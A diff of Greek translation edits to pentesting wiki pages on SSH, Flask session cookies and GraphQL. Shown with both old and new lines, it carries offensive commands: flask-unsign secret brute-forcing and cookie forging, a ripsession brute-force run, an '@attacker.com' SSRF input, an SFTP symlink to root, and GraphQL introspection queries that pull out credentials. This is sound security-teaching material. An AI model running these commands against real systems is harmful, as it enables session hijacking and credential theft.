**Διαδρομή επίθεσης:** **Διαδρομή επίθεσης:**
@ -163,18 +163,18 @@ msf> use scanner/ssh/ssh_identify_pubkeys
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) κάνει ακριβώς αυτό που περιγράφεται παραπάνω. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) κάνει ακριβώς αυτό που περιγράφεται παραπάνω.
Για να καταγράψετε την πραγματική MitM μπορείτε να χρησιμοποιήσετε τεχνικές όπως ARP spoofing, DNS spoofing ή άλλες που περιγράφονται στις [**Επιθέσεις Δικτύου Spoofing**](../generic-methodologies-and-resources/pentesting-network/#spoofing). Για να καταγράψετε την πραγματική MitM, μπορείτε να χρησιμοποιήσετε τεχνικές όπως ARP spoofing, DNS spoofing ή άλλες που περιγράφονται στις [**Επιθέσεις Δικτύου Spoofing**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
## SSH-Snake ## SSH-Snake
Αν θέλετε να διασχίσετε ένα δίκτυο χρησιμοποιώντας ανακαλυφθέντα ιδιωτικά κλειδιά SSH σε συστήματα, χρησιμοποιώντας κάθε ιδιωτικό κλειδί σε κάθε σύστημα για νέους υπολογιστές, τότε [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) είναι αυτό που χρειάζεστε. Εάν θέλετε να διασχίσετε ένα δίκτυο χρησιμοποιώντας ανακαλυφθέντα ιδιωτικά κλειδιά SSH σε συστήματα, χρησιμοποιώντας κάθε ιδιωτικό κλειδί σε κάθε σύστημα για νέους κόμβους, τότε [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) είναι αυτό που χρειάζεστε.
Το SSH-Snake εκτελεί τις εξής εργασίες αυτόματα και αναδρομικά: Το SSH-Snake εκτελεί τις παρακάτω εργασίες αυτόματα και αναδρομικά:
1. Στο τρέχον σύστημα, βρείτε οποιαδήποτε ιδιωτικά κλειδιά SSH, 1. Στο τρέχον σύστημα, βρείτε οποιαδήποτε ιδιωτικά κλειδιά SSH,
2. Στο τρέχον σύστημα, βρείτε οποιουσδήποτε υπολογιστές ή προορισμούς (user@host) που μπορεί να γίνουν αποδεκτά τα ιδιωτικά κλειδιά, 2. Στο τρέχον σύστημα, βρείτε οποιουσδήποτε κόμβους ή προορισμούς (user@host) που μπορεί να γίνουν αποδεκτά τα ιδιωτικά κλειδιά,
3. Προσπαθήστε να SSH σε όλους τους προορισμούς χρησιμοποιώντας όλα τα ανακαλυφθέντα ιδιωτικά κλειδιά, 3. Προσπαθήστε να SSH σε όλους τους προορισμούς χρησιμοποιώντας όλα τα ανακαλυφθέντα ιδιωτικά κλειδιά,
4. Αν συνδεθείτε επιτυχώς σε έναν προορισμό, επαναλάβετε τα βήματα #1 - #4 στο συνδεδεμένο σύστημα. 4. Εάν συνδεθείτε επιτυχώς σε έναν προορισμό, επαναλάβετε τα βήματα #1 - #4 στο συνδεδεμένο σύστημα.
Είναι εντελώς αυτοαναπαραγόμενο και αυτοδιαδιδόμενο -- και εντελώς χωρίς αρχεία. Είναι εντελώς αυτοαναπαραγόμενο και αυτοδιαδιδόμενο -- και εντελώς χωρίς αρχεία.
@ -182,14 +182,14 @@ msf> use scanner/ssh/ssh_identify_pubkeys
### Σύνδεση Root ### Σύνδεση Root
Είναι κοινό για τους διακομιστές SSH να επιτρέπουν τη σύνδεση του χρήστη root από προεπιλογή, γεγονός που θέτει σημαντικό κίνδυνο ασφαλείας. **Η απενεργοποίηση της σύνδεσης root** είναι ένα κρίσιμο βήμα για την ασφάλιση του διακομιστή. Η μη εξουσιοδοτημένη πρόσβαση με διαχειριστικά δικαιώματα και οι επιθέσεις brute force μπορούν να μετριαστούν κάνοντας αυτή την αλλαγή. Είναι κοινό για τους διακομιστές SSH να επιτρέπουν τη σύνδεση του χρήστη root από προεπιλογή, κάτι που θέτει σημαντικό κίνδυνο ασφάλειας. **Η απενεργοποίηση της σύνδεσης root** είναι ένα κρίσιμο βήμα για την ασφάλιση του διακομιστή. Η μη εξουσιοδοτημένη πρόσβαση με διαχειριστικά δικαιώματα και οι επιθέσεις brute force μπορούν να μετριαστούν κάνοντας αυτή την αλλαγή.
**Για να Απενεργοποιήσετε τη Σύνδεση Root στο OpenSSH:** **Για να απενεργοποιήσετε τη σύνδεση root στο OpenSSH:**
1. **Επεξεργαστείτε το αρχείο ρυθμίσεων SSH** με: `sudoedit /etc/ssh/sshd_config` 1. **Επεξεργαστείτε το αρχείο ρυθμίσεων SSH** με: `sudoedit /etc/ssh/sshd_config`
2. **Αλλάξτε τη ρύθμιση** από `#PermitRootLogin yes` σε **`PermitRootLogin no`**. 2. **Αλλάξτε τη ρύθμιση** από `#PermitRootLogin yes` σε **`PermitRootLogin no`**.
3. **Επαναφορτώστε τη ρύθμιση** χρησιμοποιώντας: `sudo systemctl daemon-reload` 3. **Επαναφορτώστε τη ρύθμιση** χρησιμοποιώντας: `sudo systemctl daemon-reload`
4. **Επανεκκινήστε τον διακομιστή SSH** για να εφαρμοστούν οι αλλαγές: `sudo systemctl restart sshd` 4. **Επανεκκινήστε τον διακομιστή SSH** για να εφαρμόσετε τις αλλαγές: `sudo systemctl restart sshd`
### SFTP Brute Force ### SFTP Brute Force
@ -242,7 +242,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
``` ```
### SFTP Symlink ### SFTP Symlink
Το **sftp** έχει την εντολή "**symlink**". Επομένως, αν έχετε **δικαιώματα εγγραφής** σε κάποιον φάκελο, μπορείτε να δημιουργήσετε **symlinks** από **άλλους φακέλους/αρχεία**. Καθώς πιθανότατα είστε **παγιδευμένοι** μέσα σε ένα chroot, αυτό **δεν θα είναι ιδιαίτερα χρήσιμο** για εσάς, αλλά, αν μπορείτε να **πρόσβαση** στο δημιουργημένο **symlink** από μια **υπηρεσία χωρίς chroot** (για παράδειγμα, αν μπορείτε να αποκτήσετε πρόσβαση στο symlink από το διαδίκτυο), θα μπορούσατε να **ανοίξετε τα symlinked αρχεία μέσω του διαδικτύου**. Το **sftp** έχει την εντολή "**symlink**". Επομένως, αν έχετε **δικαιώματα εγγραφής** σε κάποιο φάκελο, μπορείτε να δημιουργήσετε **symlinks** από **άλλους φακέλους/αρχεία**. Καθώς πιθανότατα είστε **παγιδευμένοι** μέσα σε ένα chroot, αυτό **δεν θα είναι ιδιαίτερα χρήσιμο** για εσάς, αλλά, αν μπορείτε να **πρόσβαση** στο δημιουργημένο **symlink** από μια **υπηρεσία χωρίς chroot** (για παράδειγμα, αν μπορείτε να αποκτήσετε πρόσβαση στο symlink από το διαδίκτυο), θα μπορούσατε να **ανοίξετε τα symlinked αρχεία μέσω του διαδικτύου**.
Για παράδειγμα, για να δημιουργήσετε ένα **symlink** από ένα νέο αρχείο **"**_**froot**_**" σε "**_**/**_**"**: Για παράδειγμα, για να δημιουργήσετε ένα **symlink** από ένα νέο αρχείο **"**_**froot**_**" σε "**_**/**_**"**:
```bash ```bash
@ -252,7 +252,7 @@ sftp> symlink / froot
### Μέθοδοι αυθεντικοποίησης ### Μέθοδοι αυθεντικοποίησης
Σε περιβάλλον υψηλής ασφάλειας, είναι κοινή πρακτική να επιτρέπεται μόνο η αυθεντικοποίηση με βάση κλειδιά ή η αυθεντικοποίηση δύο παραγόντων αντί για την απλή αυθεντικοποίηση με βάση τον κωδικό πρόσβασης. Αλλά συχνά οι ισχυρότερες μέθοδοι αυθεντικοποίησης ενεργοποιούνται χωρίς να απενεργοποιούνται οι ασθενέστερες. Ένας συχνός περίπτωση είναι η ενεργοποίηση του `publickey` στη διαμόρφωση του openSSH και η ρύθμισή του ως η προεπιλεγμένη μέθοδος, αλλά χωρίς να απενεργοποιηθεί το `password`. Έτσι, χρησιμοποιώντας τη λεπτομερή λειτουργία του πελάτη SSH, ένας επιτιθέμενος μπορεί να δει ότι έχει ενεργοποιηθεί μια ασθενέστερη μέθοδος: Σε περιβάλλον υψηλής ασφάλειας, είναι κοινή πρακτική να ενεργοποιούνται μόνο οι μέθοδοι αυθεντικοποίησης με βάση κλειδιά ή η αυθεντικοποίηση δύο παραγόντων αντί για την απλή αυθεντικοποίηση με βάση τον κωδικό πρόσβασης. Αλλά συχνά οι ισχυρότερες μέθοδοι αυθεντικοποίησης ενεργοποιούνται χωρίς να απενεργοποιούνται οι ασθενέστερες. Ένας συχνός περίπτωση είναι η ενεργοποίηση του `publickey` στη διαμόρφωση του openSSH και η ρύθμισή του ως η προεπιλεγμένη μέθοδος, αλλά χωρίς να απενεργοποιηθεί το `password`. Έτσι, χρησιμοποιώντας τη λειτουργία verbose του πελάτη SSH, ένας επιτιθέμενος μπορεί να δει ότι έχει ενεργοποιηθεί μια ασθενέστερη μέθοδος:
```bash ```bash
ssh -v 192.168.1.94 ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019

View File

@ -4,6 +4,8 @@
Ελέγξτε αυτή τη σελίδα αν θέλετε να μάθετε περισσότερα για την καταμέτρηση και την κακή χρήση των Κάδων: Ελέγξτε αυτή τη σελίδα αν θέλετε να μάθετε περισσότερα για την καταμέτρηση και την κακή χρήση των Κάδων:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -8,6 +8,8 @@
Μάθετε περισσότερα για το Firebase στο: Μάθετε περισσότερα για το Firebase στο:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -15,7 +15,9 @@ cachedArchives[p].destroy()
} }
}) })
``` ```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %} {{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}
![](<../../../images/image (1070).png>) ![](<../../../images/image (1070).png>)

View File

@ -10,7 +10,7 @@
### Decoder ### Decoder
Online αποκωδικοποιητής cookies Flask: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) Online αποκωδικοποιητής cookie Flask: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual #### Manual
@ -24,7 +24,9 @@ echo "ImhlbGxvIg" | base64 -d
Εργαλείο γραμμής εντολών για την ανάκτηση, αποκωδικοποίηση, brute-force και δημιουργία session cookies μιας εφαρμογής Flask μαντεύοντας μυστικά κλειδιά. Εργαλείο γραμμής εντολών για την ανάκτηση, αποκωδικοποίηση, brute-force και δημιουργία session cookies μιας εφαρμογής Flask μαντεύοντας μυστικά κλειδιά.
{% embed url="https://pypi.org/project/flask-unsign/" %} {{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash ```bash
pip3 install flask-unsign pip3 install flask-unsign
``` ```
@ -40,21 +42,23 @@ flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<coo
```bash ```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
``` ```
#### Υπογραφή χρησιμοποιώντας παλαιές εκδόσεις #### Υπογραφή χρησιμοποιώντας παλαιές (παλιές εκδόσεις)
```bash ```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
``` ```
### **RIPsession** ### **RIPsession**
Εργαλείο γραμμής εντολών για brute-force ιστοσελίδων χρησιμοποιώντας cookies που έχουν κατασκευαστεί με flask-unsign. Εργαλείο γραμμής εντολών για brute-force ιστοσελίδων χρησιμοποιώντας cookies που έχουν κατασκευαστεί με το flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %} {{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash ```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
``` ```
### SQLi σε cookie συνεδρίας Flask με SQLmap ### SQLi σε cookie συνεδρίας Flask με SQLmap
[**Αυτό το παράδειγμα**](../../pentesting-web/sql-injection/sqlmap/#eval) χρησιμοποιεί την επιλογή sqlmap `eval` για **να υπογράψει αυτόματα τα payloads του sqlmap** για το flask χρησιμοποιώντας ένα γνωστό μυστικό. [**Αυτό το παράδειγμα**](../../pentesting-web/sql-injection/sqlmap/#eval) χρησιμοποιεί την επιλογή sqlmap `eval` για να **υπογράψει αυτόματα τα payloads του sqlmap** για το flask χρησιμοποιώντας ένα γνωστό μυστικό.
## Proxy Flask σε SSRF ## Proxy Flask σε SSRF
@ -79,6 +83,6 @@ return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080) app.run(host='0.0.0.0', port=8080)
``` ```
Θα μπορούσε να επιτρέψει την εισαγωγή κάτι όπως το "@attacker.com" προκειμένου να προκαλέσει ένα **SSRF**. Θα μπορούσε να επιτρέψει την εισαγωγή κάτι όπως "@attacker.com" προκειμένου να προκαλέσει ένα **SSRF**.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Εισαγωγή ## Εισαγωγή
Το GraphQL **τονίζεται** ως μια **αποτελεσματική εναλλακτική** λύση στο REST API, προσφέροντας μια απλοποιημένη προσέγγιση για την ανάκτηση δεδομένων από το backend. Σε αντίθεση με το REST, το οποίο συχνά απαιτεί πολλές αιτήσεις σε διάφορα endpoints για τη συλλογή δεδομένων, το GraphQL επιτρέπει την ανάκτηση όλων των απαιτούμενων πληροφοριών μέσω μιας **μοναδικής αίτησης**. Αυτή η απλοποίηση **ωφελεί σημαντικά τους προγραμματιστές** μειώνοντας την πολυπλοκότητα των διαδικασιών ανάκτησης δεδομένων τους. Το GraphQL είναι **τονισμένο** ως μια **αποτελεσματική εναλλακτική** λύση στο REST API, προσφέροντας μια απλοποιημένη προσέγγιση για την ανάκτηση δεδομένων από το backend. Σε αντίθεση με το REST, το οποίο συχνά απαιτεί πολλές αιτήσεις σε διάφορα endpoints για τη συλλογή δεδομένων, το GraphQL επιτρέπει την ανάκτηση όλων των απαιτούμενων πληροφοριών μέσω μιας **μοναδικής αίτησης**. Αυτή η απλοποίηση **ωφελεί σημαντικά τους προγραμματιστές** μειώνοντας την πολυπλοκότητα των διαδικασιών ανάκτησης δεδομένων τους.
## GraphQL και Ασφάλεια ## GraphQL και Ασφάλεια
Με την εμφάνιση νέων τεχνολογιών, συμπεριλαμβανομένου του GraphQL, προκύπτουν επίσης νέες ευπάθειες ασφαλείας. Ένα βασικό σημείο που πρέπει να σημειωθεί είναι ότι **το GraphQL δεν περιλαμβάνει μηχανισμούς αυθεντικοποίησης από προεπιλογή**. Είναι ευθύνη των προγραμματιστών να εφαρμόσουν τέτοια μέτρα ασφαλείας. Χωρίς κατάλληλη αυθεντικοποίηση, τα endpoints του GraphQL μπορεί να εκθέσουν ευαίσθητες πληροφορίες σε μη αυθεντικοποιημένους χρήστες, θέτοντας σε κίνδυνο την ασφάλεια. Με την εμφάνιση νέων τεχνολογιών, συμπεριλαμβανομένου του GraphQL, προκύπτουν επίσης νέες ευπάθειες ασφαλείας. Ένα βασικό σημείο που πρέπει να σημειωθεί είναι ότι **το GraphQL δεν περιλαμβάνει μηχανισμούς αυθεντικοποίησης από προεπιλογή**. Είναι ευθύνη των προγραμματιστών να εφαρμόσουν τέτοια μέτρα ασφαλείας. Χωρίς κατάλληλη αυθεντικοποίηση, τα endpoints του GraphQL μπορεί να εκθέσουν ευαίσθητες πληροφορίες σε μη αυθεντικοποιημένους χρήστες, θέτοντας σημαντικό κίνδυνο ασφαλείας.
### Επιθέσεις Brute Force Καταλόγου και GraphQL ### Επιθέσεις Brute Force Καταλόγου και GraphQL
@ -159,7 +158,7 @@ name
} }
} }
``` ```
Ερωτήματα ενδοσκόπησης σε γραμμή: Ερωτήση ενδοσκόπησης σε γραμμή:
``` ```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
``` ```
@ -169,11 +168,11 @@ name
Αν η introspection είναι ενεργοποιημένη, μπορείτε να χρησιμοποιήσετε [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) για να δείτε σε μια GUI όλες τις επιλογές. Αν η introspection είναι ενεργοποιημένη, μπορείτε να χρησιμοποιήσετε [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) για να δείτε σε μια GUI όλες τις επιλογές.
### Querying ### Ερωτήματα
Τώρα που γνωρίζουμε ποιο είδος πληροφοριών αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**. Τώρα που γνωρίζουμε ποιο είδος πληροφορίας αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**.
Στην introspection μπορείτε να βρείτε **ποιο αντικείμενο μπορείτε να κάνετε άμεσο query** (διότι δεν μπορείτε να κάνετε query σε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "_queryType_" ονομάζεται "_Query_" και ότι ένα από τα πεδία του αντικειμένου "_Query_" είναι "_flags_", το οποίο είναι επίσης τύπος αντικειμένου. Επομένως, μπορείτε να κάνετε query στο αντικείμενο flag. Στην introspection μπορείτε να βρείτε **ποιο αντικείμενο μπορείτε να ρωτήσετε απευθείας** (διότι δεν μπορείτε να ρωτήσετε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "_queryType_" ονομάζεται "_Query_" και ότι ένα από τα πεδία του αντικειμένου "_Query_" είναι το "_flags_", το οποίο είναι επίσης ένας τύπος αντικειμένου. Επομένως, μπορείτε να ρωτήσετε το αντικείμενο flag.
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
@ -181,7 +180,7 @@ name
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
Μπορείτε να δείτε ότι τα αντικείμενα "_Flags_" αποτελούνται από **name** και **value**. Στη συνέχεια, μπορείτε να αποκτήσετε όλα τα ονόματα και τις τιμές των flags με το query: Μπορείτε να δείτε ότι τα αντικείμενα "_Flags_" αποτελούνται από **name** και **value**. Στη συνέχεια, μπορείτε να αποκτήσετε όλα τα ονόματα και τις τιμές των σημαιών με το query:
```javascript ```javascript
query={flags{name, value}} query={flags{name, value}}
``` ```
@ -212,15 +211,15 @@ query = { hiddenFlags }
![](<../../images/image (90).png>) ![](<../../images/image (90).png>)
Σημειώστε ότι **ανακάλυψα** ότι μπορούσα να ζητήσω τις **παραμέτρους** "_**user**_" και "_**password**_" γιατί αν προσπαθήσω να αναζητήσω κάτι που δεν υπάρχει (`query={user(uid:1){noExists}}`) λαμβάνω αυτό το σφάλμα: Σημειώστε ότι **ανακάλυψα** ότι μπορούσα να ζητήσω για τις **παραμέτρους** "_**user**_" και "_**password**_" γιατί αν προσπαθήσω να αναζητήσω κάτι που δεν υπάρχει (`query={user(uid:1){noExists}}`) λαμβάνω αυτό το σφάλμα:
![](<../../images/image (707).png>) ![](<../../images/image (707).png>)
Και κατά τη διάρκεια της **φάσης αρίθμησης** ανακάλυψα ότι το αντικείμενο "_**dbuser**_" είχε ως πεδία "_**user**_" και "_**password**_. Και κατά τη διάρκεια της **φάσης αρίθμησης** ανακάλυψα ότι το αντικείμενο "_**dbuser**_" είχε ως πεδία "_**user**_" και "_**password**_.
**Trick εξαγωγής συμβολοσειράς ερωτήματος (ευχαριστώ τον @BinaryShadow\_)** **Τέχνασμα εξαγωγής συμβολοσειράς ερωτήματος (ευχαριστώ τον @BinaryShadow\_)**
Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εξάγει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο τύπου "**description**"_). Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εξάγει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο String που ονομάζεται "**description**"_).
### Αναζήτηση ### Αναζήτηση
@ -303,9 +302,9 @@ rating
} }
} }
``` ```
**Σημειώστε πώς και οι τιμές και ο τύπος των δεδομένων υποδεικνύονται στο ερώτημα.** **Σημειώστε πώς και οι δύο τιμές και ο τύπος δεδομένων υποδεικνύονται στο ερώτημα.**
Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **προσώπων** μαζί με τις συσχετίσεις τους με υπάρχοντες **φίλους** και **ταινίες**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν εκ των προτέρων στη βάση δεδομένων πριν συνδεθούν με το νεοδημιουργηθέν πρόσωπο. Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **προσώπων** μαζί με τις συσχετίσεις τους με υπάρχοντες **φίλους** και **ταινίες**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν από τη σύνδεσή τους με το νεοδημιουργηθέν πρόσωπο.
```javascript ```javascript
mutation { mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@ -346,21 +345,21 @@ releaseYear
![](<../../images/image (1081).png>) ![](<../../images/image (1081).png>)
Όπως μπορούμε να δούμε από το στιγμιότυπο της απάντησης, τα πρώτα και τρίτα αιτήματα επέστρεψαν _null_ και αντανάκλασαν τις αντίστοιχες πληροφορίες στην ενότητα _error_. Η **δεύτερη μετάλλαξη είχε τα σωστά δεδομένα αυθεντικοποίησης** και η απάντηση έχει το σωστό διακριτικό συνεδρίας αυθεντικοποίησης. Όπως μπορούμε να δούμε από το στιγμιότυπο οθόνης της απάντησης, τα πρώτα και τρίτα αιτήματα επέστρεψαν _null_ και αντανάκλασαν τις αντίστοιχες πληροφορίες στην ενότητα _error_. Η **δεύτερη μετάλλαξη είχε τα σωστά δεδομένα αυθεντικοποίησης** και η απάντηση έχει το σωστό διακριτικό συνεδρίας αυθεντικοποίησης.
![](<../../images/image (119) (1).png>) ![](<../../images/image (119) (1).png>)
## GraphQL Χωρίς Introspection ## GraphQL Χωρίς Introspection
